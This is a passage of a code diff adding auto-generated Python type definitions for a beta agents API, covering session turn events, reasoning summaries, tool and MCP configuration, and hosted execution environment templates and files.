+ item_id: str
+ """The ID of the message item."""
+
+ output_index: int
+ """The index of the item in the turn output."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ text: str
+ """The complete output text."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.turn.output_text.done"]
+ """The type of the object. Always `agent.session.turn.output_text.done`."""
diff --git a/src/openai/types/beta/agent_session_turn_reasoning_summary_part_added_event.py b/src/openai/types/beta/agent_session_turn_reasoning_summary_part_added_event.py
new file mode 100644
index 0000000000..5d1a58fbc5
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_reasoning_summary_part_added_event.py
@@ -0,0 +1,40 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .summary_text import SummaryText
+
+__all__ = ["AgentSessionTurnReasoningSummaryPartAddedEvent"]
+
+
+class AgentSessionTurnReasoningSummaryPartAddedEvent(BaseModel):
+ """Emitted when a reasoning summary content part is added."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ item_id: str
+ """The ID of the reasoning item."""
+
+ output_index: int
+ """The index of the item in the turn output."""
+
+ part: SummaryText
+ """The initial summary part."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ summary_index: int
+ """The index of the summary content part."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.turn.reasoning_summary_part.added"]
+ """The type of the object.
+
+ Always `agent.session.turn.reasoning_summary_part.added`.
+ """
diff --git a/src/openai/types/beta/agent_session_turn_reasoning_summary_part_done_event.py b/src/openai/types/beta/agent_session_turn_reasoning_summary_part_done_event.py
new file mode 100644
index 0000000000..ca6402689b
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_reasoning_summary_part_done_event.py
@@ -0,0 +1,43 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .summary_text import SummaryText
+
+__all__ = ["AgentSessionTurnReasoningSummaryPartDoneEvent"]
+
+
+class AgentSessionTurnReasoningSummaryPartDoneEvent(BaseModel):
+ """Emitted when a reasoning summary part is complete."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ item_id: str
+ """The ID of the reasoning item."""
+
+ output_index: int
+ """The index of the item in the turn output."""
+
+ part: SummaryText
+ """The completed summary part."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ status: Optional[Literal["incomplete"]] = None
+ """Present as `incomplete` when summary generation was interrupted."""
+
+ summary_index: int
+ """The index of the summary part."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.turn.reasoning_summary_part.done"]
+ """The type of the object.
+
+ Always `agent.session.turn.reasoning_summary_part.done`.
+ """
diff --git a/src/openai/types/beta/agent_session_turn_reasoning_summary_text_delta_event.py b/src/openai/types/beta/agent_session_turn_reasoning_summary_text_delta_event.py
new file mode 100644
index 0000000000..d92698c6d0
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_reasoning_summary_text_delta_event.py
@@ -0,0 +1,39 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["AgentSessionTurnReasoningSummaryTextDeltaEvent"]
+
+
+class AgentSessionTurnReasoningSummaryTextDeltaEvent(BaseModel):
+ """Emitted when text is appended to a reasoning summary."""
+
+ delta: str
+ """The summary text that was appended."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ item_id: str
+ """The ID of the reasoning item."""
+
+ output_index: int
+ """The index of the item in the turn output."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ summary_index: int
+ """The index of the summary content part."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.turn.reasoning_summary_text.delta"]
+ """The type of the object.
+
+ Always `agent.session.turn.reasoning_summary_text.delta`.
+ """
diff --git a/src/openai/types/beta/agent_session_turn_reasoning_summary_text_done_event.py b/src/openai/types/beta/agent_session_turn_reasoning_summary_text_done_event.py
new file mode 100644
index 0000000000..82c75e2331
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_reasoning_summary_text_done_event.py
@@ -0,0 +1,39 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["AgentSessionTurnReasoningSummaryTextDoneEvent"]
+
+
+class AgentSessionTurnReasoningSummaryTextDoneEvent(BaseModel):
+ """Emitted when a reasoning summary content part is complete."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ item_id: str
+ """The ID of the reasoning item."""
+
+ output_index: int
+ """The index of the item in the turn output."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ summary_index: int
+ """The index of the summary content part."""
+
+ text: str
+ """The complete reasoning summary text."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.turn.reasoning_summary_text.done"]
+ """The type of the object.
+
+ Always `agent.session.turn.reasoning_summary_text.done`.
+ """
diff --git a/src/openai/types/beta/agent_text.py b/src/openai/types/beta/agent_text.py
new file mode 100644
index 0000000000..5c0758ff00
--- /dev/null
+++ b/src/openai/types/beta/agent_text.py
@@ -0,0 +1,18 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .text_format import TextFormat
+
+__all__ = ["AgentText"]
+
+
+class AgentText(BaseModel):
+ """The text configuration used by an agent."""
+
+ format: TextFormat
+ """The effective output format. Defaults to ordinary text."""
+
+ verbosity: Literal["low", "medium", "high"]
+ """The amount of text produced by the agent. Defaults to `medium`."""
diff --git a/src/openai/types/beta/agent_text_param.py b/src/openai/types/beta/agent_text_param.py
new file mode 100644
index 0000000000..7f17f0b9b1
--- /dev/null
+++ b/src/openai/types/beta/agent_text_param.py
@@ -0,0 +1,25 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, TypedDict
+
+from .text_format_param import TextFormatParam
+
+__all__ = ["AgentTextParam"]
+
+
+class AgentTextParam(TypedDict, total=False):
+ """Configuration for text generated by the agent."""
+
+ format: Optional[TextFormatParam]
+ """The output format for generated text."""
+
+ verbosity: Optional[Literal["low", "medium", "high"]]
+ """The amount of text the model should produce.
+
+ - `low` - Produces less text.
+ - `medium` - Uses the default amount of text.
+ - `high` - Produces more text.
+ """
diff --git a/src/openai/types/beta/agent_tool.py b/src/openai/types/beta/agent_tool.py
new file mode 100644
index 0000000000..38ed5cf365
--- /dev/null
+++ b/src/openai/types/beta/agent_tool.py
@@ -0,0 +1,123 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Dict, List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .mcp_transport import McpTransport
+
+__all__ = [
+ "AgentTool",
+ "AgentToolResourceFunction",
+ "AgentToolResourceProgrammaticToolCalling",
+ "AgentToolResourceMcp",
+ "AgentToolResourceWebSearch",
+ "AgentToolResourceWebSearchLocation",
+]
+
+
+class AgentToolResourceFunction(BaseModel):
+ """A function defined by the application."""
+
+ defer_loading: bool
+ """Whether the function is deferred and discovered through tool search."""
+
+ description: str
+ """A description of what the function does."""
+
+ name: str
+ """The name of the function."""
+
+ parameters: Dict[str, object]
+ """A JSON Schema object describing the function's arguments."""
+
+ type: Literal["function"]
+ """The type of the object. Always `function`."""
+
+
+class AgentToolResourceProgrammaticToolCalling(BaseModel):
+ """Enables calling tools from model-generated code."""
+
+ enabled: bool
+ """Whether tools can be called from model-generated code."""
+
+ type: Literal["programmatic_tool_calling"]
+ """The type of the object. Always `programmatic_tool_calling`."""
+
+
+class AgentToolResourceMcp(BaseModel):
+ """Tools provided by a remote MCP server."""
+
+ allowed_tools: Optional[List[str]] = None
+ """The MCP tools the agent may call."""
+
+ connection_origin: Literal["service", "environment"]
+ """Where outbound MCP HTTP connections originate."""
+
+ credential_id: Optional[str] = None
+ """The attached vault credential selected for this MCP server, if any.
+
+ Optional when exactly one attached credential matches the server URL.
+ """
+
+ request_metadata: Dict[str, object]
+ """Metadata included with requests to this MCP server."""
+
+ required: bool
+ """Whether this MCP server must initialize before the first turn."""
+
+ server_label: str
+ """A label used to identify the MCP server in tool calls."""
+
+ transport: McpTransport
+ """The transport used to connect to the MCP server."""
+
+ type: Literal["mcp"]
+ """The type of the object. Always `mcp`."""
+
+
+class AgentToolResourceWebSearchLocation(BaseModel):
+ """Approximate user location used to localize web search results."""
+
+ city: Optional[str] = None
+ """The city name."""
+
+ country: Optional[str] = None
+ """The two-letter ISO country code, such as `US`."""
+
+ region: Optional[str] = None
+ """The region or state name."""
+
+ timezone: Optional[str] = None
+ """The IANA timezone, such as `America/Los_Angeles`."""
+
+
+class AgentToolResourceWebSearch(BaseModel):
+ """Web search."""
+
+ allowed_domains: Optional[List[str]] = None
+ """Allowed search domains, or `null` when the search is unrestricted."""
+
+ context_size: Literal["low", "medium", "high"]
+ """The amount of search context made available to the model. Defaults to `medium`."""
+
+ location: Optional[AgentToolResourceWebSearchLocation] = None
+ """Approximate user location used to localize web search results."""
+
+ mode: Literal["disabled", "cached", "live"]
+ """The source used for web search results."""
+
+ type: Literal["web_search"]
+ """The type of the object. Always `web_search`."""
+
+
+AgentTool: TypeAlias = Annotated[
+ Union[
+ AgentToolResourceFunction,
+ AgentToolResourceProgrammaticToolCalling,
+ AgentToolResourceMcp,
+ AgentToolResourceWebSearch,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/agent_tool_param.py b/src/openai/types/beta/agent_tool_param.py
new file mode 100644
index 0000000000..b31bd17b9e
--- /dev/null
+++ b/src/openai/types/beta/agent_tool_param.py
@@ -0,0 +1,145 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Union, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from ..._types import SequenceNotStr
+from .mcp_transport_param import McpTransportParam
+
+__all__ = [
+ "AgentToolParam",
+ "AgentToolConfigParamFunction",
+ "AgentToolConfigParamToolSearch",
+ "AgentToolConfigParamProgrammaticToolCalling",
+ "AgentToolConfigParamMcp",
+ "AgentToolConfigParamWebSearch",
+ "AgentToolConfigParamWebSearchLocation",
+]
+
+
+class AgentToolConfigParamFunction(TypedDict, total=False):
+ """A function defined by the application."""
+
+ description: Required[str]
+ """A description of what the function does."""
+
+ name: Required[str]
+ """The name of the function."""
+
+ parameters: Required[Dict[str, object]]
+ """A JSON Schema object describing the function's arguments."""
+
+ type: Required[Literal["function"]]
+ """The type of the object. Always `function`."""
+
+ defer_loading: bool
+ """Whether this function is deferred and discovered through tool search.
+
+ Defaults to `false`.
+ """
+
+
+class AgentToolConfigParamToolSearch(TypedDict, total=False):
+ """Discovers deferred function tools and loads them into the model context."""
+
+ type: Required[Literal["tool_search"]]
+ """The type of the object. Always `tool_search`."""
+
+
+class AgentToolConfigParamProgrammaticToolCalling(TypedDict, total=False):
+ """Enables calling tools from model-generated code."""
+
+ type: Required[Literal["programmatic_tool_calling"]]
+ """The type of the object. Always `programmatic_tool_calling`."""
+
+ enabled: bool
+ """Whether tools can be called from model-generated code. Defaults to `true`."""
+
+
+class AgentToolConfigParamMcp(TypedDict, total=False):
+ """Tools provided by a remote MCP server."""
+
+ server_label: Required[str]
+ """A label used to identify the MCP server in tool calls."""
+
+ transport: Required[McpTransportParam]
+ """The transport used to connect to the MCP server."""
+
+ type: Required[Literal["mcp"]]
+ """The type of the object. Always `mcp`."""
+
+ allowed_tools: Optional[SequenceNotStr[str]]
+ """The MCP tools the agent may call. All server tools are allowed when omitted."""
+
+ connection_origin: Optional[Literal["service", "environment"]]
+ """Where outbound MCP HTTP connections originate.
+
+ - `service` - Uses the Managed Agents service network.
+ - `environment` - Uses the session's execution environment.
+ """
+
+ credential_id: Optional[str]
+ """The attached vault credential used to authenticate this MCP server.
+
+ Optional when exactly one attached credential matches the server URL.
+ """
+
+ request_metadata: Optional[Dict[str, object]]
+ """Metadata included with requests to this MCP server."""
+
+ required: bool
+ """Whether this MCP server must initialize before the first turn.
+
+ Defaults to `false`.
+ """
+
+
+class AgentToolConfigParamWebSearchLocation(TypedDict, total=False):
+ """Approximate user location used to localize web search results."""
+
+ city: Optional[str]
+ """The city name."""
+
+ country: Optional[str]
+ """The two-letter ISO country code, such as `US`."""
+
+ region: Optional[str]
+ """The region or state name."""
+
+ timezone: Optional[str]
+ """The IANA timezone, such as `America/Los_Angeles`."""
+
+
+class AgentToolConfigParamWebSearch(TypedDict, total=False):
+ """Web search."""
+
+ type: Required[Literal["web_search"]]
+ """The type of the object. Always `web_search`."""
+
+ allowed_domains: Optional[SequenceNotStr[str]]
+ """Domains the search may include."""
+
+ context_size: Optional[Literal["low", "medium", "high"]]
+ """The amount of web search context made available to the model."""
+
+ location: Optional[AgentToolConfigParamWebSearchLocation]
+ """Approximate user location used to localize web search results."""
+
+ mode: Optional[Literal["disabled", "cached", "live"]]
+ """The source used for web search results.
+
+ - `disabled` - Disables web search.
+ - `cached` - Uses cached search results.
+ - `live` - Searches the live web.
+ """
+
+
+AgentToolParam: TypeAlias = Union[
+ AgentToolConfigParamFunction,
+ AgentToolConfigParamToolSearch,
+ AgentToolConfigParamProgrammaticToolCalling,
+ AgentToolConfigParamMcp,
+ AgentToolConfigParamWebSearch,
+]
diff --git a/src/openai/types/beta/agent_update_params.py b/src/openai/types/beta/agent_update_params.py
new file mode 100644
index 0000000000..9c4a5da4af
--- /dev/null
+++ b/src/openai/types/beta/agent_update_params.py
@@ -0,0 +1,56 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Iterable, Optional
+from typing_extensions import Literal, TypedDict
+
+from .agent_text_param import AgentTextParam
+from .agent_reasoning_param import AgentReasoningParam
+from .multi_agent_config_param import MultiAgentConfigParam
+from .persisted_agent_tool_param import PersistedAgentToolParam
+
+__all__ = ["AgentUpdateParams"]
+
+
+class AgentUpdateParams(TypedDict, total=False):
+ instructions: Optional[str]
+ """Additional instructions appended to the agent's default base instructions.
+
+ Omit to leave unchanged.
+ """
+
+ metadata: Optional[Dict[str, str]]
+ """Replaces all metadata.
+
+ Omit to leave unchanged, or pass null or {} to clear it. Up to 16 string
+ key-value pairs, with keys up to 64 and values up to 512 characters.
+ """
+
+ model: str
+ """The model to use for the agent. The requested model name is preserved."""
+
+ multi_agent: Optional[MultiAgentConfigParam]
+ """Explicit configuration for creating and coordinating subagents."""
+
+ name: Optional[str]
+ """A replacement name. Omit to leave unchanged, or pass null to clear it."""
+
+ reasoning: Optional[AgentReasoningParam]
+ """Reasoning configuration for the agent."""
+
+ service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]]
+ """The service tier used for model requests.
+
+ - `auto` - Selects the service tier automatically.
+ - `default` - Uses the default service tier.
+ - `flex` - Uses the flex service tier.
+ - `priority` - Uses the priority service tier.
+ - `fast` - Uses the fast service tier.
+ """
+
+ text: Optional[AgentTextParam]
+ """Configuration for text generated by the agent."""
+
+ tools: Optional[Iterable[PersistedAgentToolParam]]
+ """Tools available to the agent."""
diff --git a/src/openai/types/beta/agent_wait_for_subagents_call_item.py b/src/openai/types/beta/agent_wait_for_subagents_call_item.py
new file mode 100644
index 0000000000..5dc67de1ce
--- /dev/null
+++ b/src/openai/types/beta/agent_wait_for_subagents_call_item.py
@@ -0,0 +1,34 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_function_call_status import AgentFunctionCallStatus
+
+__all__ = ["AgentWaitForSubagentsCallItem"]
+
+
+class AgentWaitForSubagentsCallItem(BaseModel):
+ """A request to wait for one or more subagents."""
+
+ id: str
+ """The ID of the tool call item."""
+
+ recipient_agent_ids: List[str]
+ """The IDs of the agents to wait for."""
+
+ sender_agent_id: str
+ """The ID of the agent waiting for results."""
+
+ status: AgentFunctionCallStatus
+ """The status of the tool call."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["wait_for_subagents_call"]
+ """The item type. Always `wait_for_subagents_call`.
+
+ - `wait_for_subagents_call` - The current public item type.
+ """
diff --git a/src/openai/types/beta/agent_web_search_call_item.py b/src/openai/types/beta/agent_web_search_call_item.py
new file mode 100644
index 0000000000..4706e2760e
--- /dev/null
+++ b/src/openai/types/beta/agent_web_search_call_item.py
@@ -0,0 +1,29 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .web_search_action import WebSearchAction
+from .agent_output_item_status import AgentOutputItemStatus
+
+__all__ = ["AgentWebSearchCallItem"]
+
+
+class AgentWebSearchCallItem(BaseModel):
+ """A web search call produced by the agent."""
+
+ id: str
+ """The ID of the web search call."""
+
+ action: Optional[WebSearchAction] = None
+ """An action performed by the web search tool."""
+
+ status: AgentOutputItemStatus
+ """The status of the web search call."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["web_search_call"]
+ """The item type. Always `web_search_call`."""
diff --git a/src/openai/types/beta/agents/__init__.py b/src/openai/types/beta/agents/__init__.py
new file mode 100644
index 0000000000..376bc76622
--- /dev/null
+++ b/src/openai/types/beta/agents/__init__.py
@@ -0,0 +1,14 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from .vault import Vault as Vault
+from .vault_status import VaultStatus as VaultStatus
+from .vault_deleted import VaultDeleted as VaultDeleted
+from .environment_info import EnvironmentInfo as EnvironmentInfo
+from .vault_list_params import VaultListParams as VaultListParams
+from .session_list_params import SessionListParams as SessionListParams
+from .vault_create_params import VaultCreateParams as VaultCreateParams
+from .session_create_params import SessionCreateParams as SessionCreateParams
+from .session_update_params import SessionUpdateParams as SessionUpdateParams
+from .vault_status_filter_param import VaultStatusFilterParam as VaultStatusFilterParam
diff --git a/src/openai/types/beta/agents/environment_info.py b/src/openai/types/beta/agents/environment_info.py
new file mode 100644
index 0000000000..0362c5c2e0
--- /dev/null
+++ b/src/openai/types/beta/agents/environment_info.py
@@ -0,0 +1,36 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List
+from typing_extensions import Literal
+
+from ...._models import BaseModel
+from ..hosted_skill import HostedSkill
+from ..hosted_plugin import HostedPlugin
+from ..hosted_environment_file import HostedEnvironmentFile
+
+__all__ = ["EnvironmentInfo"]
+
+
+class EnvironmentInfo(BaseModel):
+ """Safe metadata for a first-class execution environment."""
+
+ id: str
+ """The ID of the environment."""
+
+ files: List[HostedEnvironmentFile]
+ """Files installed in the environment, without their contents."""
+
+ object: Literal["agent.environment"]
+ """The object type. Always `agent.environment`."""
+
+ plugins: List[HostedPlugin]
+ """Plugins installed in the environment, without their archive contents."""
+
+ skills: List[HostedSkill]
+ """Skills installed in the environment, without their archive contents."""
+
+ status: Literal["pending", "connected", "disconnected", "expired", "failed"]
+ """The current environment connection status."""
+
+ type: Literal["openai_hosted", "self_hosted"]
+ """Whether the environment is hosted by OpenAI or by the application."""
diff --git a/src/openai/types/beta/agents/environments/__init__.py b/src/openai/types/beta/agents/environments/__init__.py
new file mode 100644
index 0000000000..f10e693472
--- /dev/null
+++ b/src/openai/types/beta/agents/environments/__init__.py
@@ -0,0 +1,12 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from .environment_file import EnvironmentFile as EnvironmentFile
+from .file_list_params import FileListParams as FileListParams
+from .file_create_params import FileCreateParams as FileCreateParams
+from .environment_template import EnvironmentTemplate as EnvironmentTemplate
+from .template_list_params import TemplateListParams as TemplateListParams
+from .template_create_params import TemplateCreateParams as TemplateCreateParams
+from .template_update_params import TemplateUpdateParams as TemplateUpdateParams
+from .environment_template_deleted import EnvironmentTemplateDeleted as EnvironmentTemplateDeleted
diff --git a/src/openai/types/beta/agents/environments/environment_file.py b/src/openai/types/beta/agents/environments/environment_file.py
new file mode 100644
index 0000000000..bdff13bf7e
--- /dev/null
+++ b/src/openai/types/beta/agents/environments/environment_file.py
@@ -0,0 +1,23 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ....._models import BaseModel
+
+__all__ = ["EnvironmentFile"]
+
+
+class EnvironmentFile(BaseModel):
+ """A live file in an execution environment."""
+
+ environment_id: str
+ """The ID of the environment containing this file."""
+
+ object: Literal["agent.environment.file"]
+ """The object type. Always `agent.environment.file`."""
+
+ path: str
+ """The absolute file path inside the environment's workspace."""
+
+ size_bytes: int
+ """The file size in bytes."""
diff --git a/src/openai/types/beta/agents/environments/environment_template.py b/src/openai/types/beta/agents/environments/environment_template.py
new file mode 100644
index 0000000000..5779f05c46
--- /dev/null
+++ b/src/openai/types/beta/agents/environments/environment_template.py
@@ -0,0 +1,151 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ....._utils import PropertyInfo
+from ....._models import BaseModel
+from ...hosted_plugin import HostedPlugin
+
+__all__ = [
+ "EnvironmentTemplate",
+ "File",
+ "FileHostedTemplateFileResourceFileID",
+ "FileHostedTemplateFileResourceInline",
+ "Network",
+ "Packages",
+ "Skill",
+ "SkillHostedTemplateSkillResourceSkillReference",
+ "SkillHostedTemplateSkillResourceInline",
+]
+
+
+class FileHostedTemplateFileResourceFileID(BaseModel):
+ """A project-scoped Files API reference resolved separately for each session."""
+
+ file_id: str
+ """The ID of the uploaded file."""
+
+ path: str
+ """The file's absolute path inside the environment."""
+
+ type: Literal["file_id"]
+ """The type of the object. Always `file_id`."""
+
+
+class FileHostedTemplateFileResourceInline(BaseModel):
+ """Metadata for confidential inline file contents."""
+
+ path: str
+ """The file's absolute path inside the environment."""
+
+ size_bytes: int
+ """The decoded size of the inline file in bytes."""
+
+ type: Literal["inline"]
+ """The type of the object. Always `inline`."""
+
+
+File: TypeAlias = Annotated[
+ Union[FileHostedTemplateFileResourceFileID, FileHostedTemplateFileResourceInline],
+ PropertyInfo(discriminator="type"),
+]
+
+
+class Network(BaseModel):
+ """Runtime network access for each OpenAI-hosted environment."""
+
+ access: Literal["enabled", "disabled", "restricted"]
+ """The environment's network access mode.
+
+ - `enabled` - Allows unrestricted network access.
+ - `disabled` - Disables network access.
+ - `restricted` - Allows access only to configured domains.
+ """
+
+ allowed_domains: List[str]
+ """Domains the environment may access when network access is restricted."""
+
+
+class Packages(BaseModel):
+ """Packages installed in each fresh OpenAI-hosted environment."""
+
+ npm: List[str]
+ """npm packages installed globally in the environment."""
+
+ python: List[str]
+ """Python packages installed in the environment."""
+
+ system: List[str]
+ """System packages installed in the environment."""
+
+
+class SkillHostedTemplateSkillResourceSkillReference(BaseModel):
+ """A skill resolved afresh from the Skills API whenever a session starts."""
+
+ skill_id: str
+ """The referenced skill ID."""
+
+ type: Literal["skill_reference"]
+ """The type of the object. Always `skill_reference`."""
+
+ version: Optional[str] = None
+ """The requested version selector, including `latest`."""
+
+
+class SkillHostedTemplateSkillResourceInline(BaseModel):
+ """Safe metadata for an inline skill archive."""
+
+ description: str
+ """The skill description declared in `SKILL.md`."""
+
+ name: str
+ """The skill name declared in `SKILL.md`."""
+
+ type: Literal["inline"]
+ """The type of the object. Always `inline`."""
+
+
+Skill: TypeAlias = Annotated[
+ Union[SkillHostedTemplateSkillResourceSkillReference, SkillHostedTemplateSkillResourceInline],
+ PropertyInfo(discriminator="type"),
+]
+
+
+class EnvironmentTemplate(BaseModel):
+ """
+ Reusable configuration that provisions a fresh OpenAI-hosted environment for each session.
+ """
+
+ id: str
+ """The ID of the reusable environment template."""
+
+ capability_directories: List[str]
+ """Directories that expose capabilities to the agent."""
+
+ created_at: int
+ """The Unix timestamp, in seconds, when the template was created."""
+
+ files: List[File]
+ """Safe file metadata, excluding contents and session-scoped file IDs."""
+
+ name: Optional[str] = None
+ """An optional human-readable display name for the template."""
+
+ network: Network
+ """Runtime network access for each OpenAI-hosted environment."""
+
+ object: Literal["agent.environment.template"]
+ """The object type. Always `agent.environment.template`."""
+
+ packages: Packages
+ """Packages installed in each fresh OpenAI-hosted environment."""
+
+ plugins: List[HostedPlugin]
+ """Safe plugin metadata, excluding inline archive contents."""
+
+ skills: List[Skill]
+ """Safe skill metadata, preserving unresolved version selectors."""
+
+ updated_at: int
+ """The Unix timestamp, in seconds, when the template was last updated."""
diff --git a/src/openai/types/beta/agents/environments/environment_template_deleted.py b/src/openai/types/beta/agents/environments/environment_template_deleted.py
new file mode 100644
index 0000000000..5c55846039
--- /dev/null
+++ b/src/openai/types/beta/agents/environments/environment_template_deleted.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ....._models import BaseModel
+
+__all__ = ["EnvironmentTemplateDeleted"]
+
+
+class EnvironmentTemplateDeleted(BaseModel):
+ """A deleted reusable environment template."""
+
+ id: str
+ """The ID of the deleted environment template."""
+
+ deleted: bool
+ """Whether the environment template was deleted. Always `true`."""
+
+ object: Literal["agent.environment.template.deleted"]
+ """The object type. Always `agent.environment.template.deleted`."""
diff --git a/src/openai/types/beta/agents/environments/file_create_params.py b/src/openai/types/beta/agents/environments/file_create_params.py
new file mode 100644
index 0000000000..b028235749
--- /dev/null
+++ b/src/openai/types/beta/agents/environments/file_create_params.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+__all__ = ["FileCreateParams", "HostedEnvironmentFileParamFileID", "HostedEnvironmentFileParamInline"]
+
+
+class HostedEnvironmentFileParamFileID(TypedDict, total=False):
+ file_id: Required[str]
+ """The ID of the uploaded file."""
+
+ path: Required[str]
+ """The absolute destination path inside `/workspace`."""
+
+ type: Required[Literal["file_id"]]
+ """The type of the object. Always `file_id`."""
+
+
+class HostedEnvironmentFileParamInline(TypedDict, total=False):
+ data: Required[str]
+ """The standard-base64-encoded file contents."""
+
+ path: Required[str]
+ """The absolute destination path inside `/workspace`."""
+
+ type: Required[Literal["inline"]]
+ """The type of the object. Always `inline`."""
+
+
+FileCreateParams: TypeAlias = Union[HostedEnvironmentFileParamFileID, HostedEnvironmentFileParamInline]
diff --git a/src/openai/types/beta/agents/environments/file_list_params.py b/src/openai/types/beta/agents/environments/file_list_params.py
new file mode 100644
index 0000000000..8cad4e2ab5
--- /dev/null
+++ b/src/openai/types/beta/agents/environments/file_list_params.py
@@ -0,0 +1,26 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, TypedDict
+
+__all__ = ["FileListParams"]
+
+
+class FileListParams(TypedDict, total=False):
+ limit: Optional[int]
+ """The maximum number of files to return, between 1 and 100."""
+
+ order: Literal["asc", "desc"]
+ """Sort by case-sensitive path components. Defaults to descending.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
+
+ page: str
+ """The opaque token from the previous page. Keep the same path, order, and limit."""
+
+ path: Optional[str]
+ """Restrict the listing to this absolute workspace directory."""
diff --git a/src/openai/types/beta/agents/environments/template_create_params.py b/src/openai/types/beta/agents/environments/template_create_params.py
new file mode 100644
index 0000000000..a48d6e1a6e
--- /dev/null
+++ b/src/openai/types/beta/agents/environments/template_create_params.py
@@ -0,0 +1,78 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Iterable, Optional
+from typing_extensions import Literal, Required, TypedDict
+
+from ....._types import SequenceNotStr
+from ...hosted_skill_param import HostedSkillParam
+from ...hosted_plugin_param import HostedPluginParam
+from ...setup_command_param import SetupCommandParam
+from ...hosted_environment_file_param import HostedEnvironmentFileParam
+
+__all__ = ["TemplateCreateParams", "Network", "Packages"]
+
+
+class TemplateCreateParams(TypedDict, total=False):
+ capability_directories: Optional[SequenceNotStr[str]]
+ """Directories that contain capabilities exposed to the agent.
+
+ Defaults to an empty list.
+ """
+
+ env: Optional[Dict[str, str]]
+ """Environment variables made available to the agent."""
+
+ files: Optional[Iterable[HostedEnvironmentFileParam]]
+ """Files available before the agent starts. Defaults to an empty list."""
+
+ name: Optional[str]
+ """An optional human-readable display name for the template."""
+
+ network: Optional[Network]
+ """Network access for an OpenAI-hosted environment."""
+
+ packages: Optional[Packages]
+ """Packages to install in an OpenAI-hosted environment."""
+
+ plugins: Optional[Iterable[HostedPluginParam]]
+ """Plugins provided as inline ZIP archives. Defaults to an empty list."""
+
+ setup_commands: Optional[Iterable[SetupCommandParam]]
+ """Ordered, confidential setup commands. Command bodies are never returned."""
+
+ skills: Optional[Iterable[HostedSkillParam]]
+ """Skills referenced by ID or provided as inline ZIP archives.
+
+ Defaults to an empty list.
+ """
+
+
+class Network(TypedDict, total=False):
+ """Network access for an OpenAI-hosted environment."""
+
